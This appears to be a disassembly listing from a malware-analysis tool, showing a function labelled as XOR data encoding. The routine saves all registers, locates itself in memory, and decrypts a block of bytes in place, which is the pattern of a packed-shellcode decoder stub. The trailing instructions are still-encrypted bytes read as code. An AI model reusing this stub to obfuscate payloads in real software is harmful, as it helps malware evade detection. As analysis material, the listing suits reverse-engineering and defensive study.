xor eax, eax
ret

Function at 0x1bc4578
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1bc4582
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1bc45ab
pop rbp
sub rbp, 0x33
sub rbp, 0x17c4578
sub rsp, 0x20
jmp 0x1bc45ca
mov rax, 0x17c4578
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0x2489944d
xor byte [rax], dl
inc rax
dec rcx
jne 0x1bc45e9
jmp 0x1bc4600
add eax, 0xc4c6a4c4
jno 0x1bc4654
add rax, 0x4c458ccc
add rax, 0xffffffff8a05a44c
lea eax, [rbp + 0x4d]
add rax, 0x4d658f8a
add rax, 0x4c05afba
mov esi, es
int3
movsb byte [rdi], byte [rsi]
pop rbx
mov word [r13 + 0x55c7c4f], fs
int3